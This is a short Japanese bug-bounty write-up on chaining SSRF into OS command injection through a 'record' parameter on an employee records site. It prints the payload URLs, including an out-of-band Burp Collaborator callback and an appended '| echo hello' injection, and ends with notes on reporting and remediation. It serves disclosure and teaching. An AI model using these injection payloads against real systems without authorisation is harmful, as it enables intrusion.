Hello there, ('ω')ノ
Command Injection Vulnerability で SSRF をチェーン化できた経緯を。
脆弱性：
SSRF
OSコマンドインジェクション
RCE
記事：
今回は、コマンド インジェクションの脆弱性を使用して
SSRF 攻撃を連鎖させることができた方法について。
SSRF またはサーバーサイド リクエスト フォージェリは、
Web アプリケーションから他のサーバに送信されたリクエストを
攻撃者が操作できる脆弱性で。
攻撃者はこの脆弱性を悪用して、脆弱なサーバに代わってリクエストを作成し、
内部リソースにアクセスできて。
コマンド インジェクションは、攻撃者がサーバ上で任意のコマンドを
実行できる脆弱性で。
攻撃者は、ユーザ入力を使用してコマンド文字列を作成するアプリケーションに
悪意のあるコマンドを挿入することにより、この脆弱性を悪用する可能性があって。
最近、すべての従業員の記録を保存し、従業員が行ったすべての取引を
保存する機能を備えた従業員記録管理サイトに出会い。
さらに、このサイトでは、ユーザが記録を PDF 形式でダウンロードできて。
サイトをテストしているときに、PDF をダウンロードしたときに、
サイトが「record」というパラメータを使用してサーバへの URL を
呼び出していることに気付き。
URL は次のようになり。
https://www.example.com/employeeRecord/?record=XYZ.pdf
Burp Suite を使用してこのリクエストを取得し、Burp Collaborator.URL を使用して
「record」パラメータの値を次のように変更すると
Burp Collaboratorで反応を確認できて。
https://www.example.com/employeeRecord/?record=http://burpcolaboratorlink.com
次に、次のように URL の末尾にいくつかの Linux コマンドを追加して、
コマンド インジェクションを試みることを考え。
https://www.example.com/employeeRecord/?record=http://burpcolaboratorlink.com | echo hello
驚いたことに、そのコマンドの結果を Burp Collaborator で取得でき。
これは、SSRF を従業員記録管理サイトのコマンド インジェクションの
脆弱性に連鎖させる方法で。
調査結果をすぐにサイトの所有者に報告し、
脆弱性とその影響に関する詳細なレポートを提供して。
この脆弱性の解決策は、サーバ側のリクエストで使用する前に、
すべてのユーザ入力を適切に検証してサニタイズすることで。
潜在的な脆弱性の影響を最小限に抑えるために、
サーバ側のコードを実行するユーザの権限を制限することも重要で。
定期的なセキュリティ監査は、攻撃者が悪用する前に脆弱性を特定して
修正するのに役立って。
Best regards, (^^ゞ
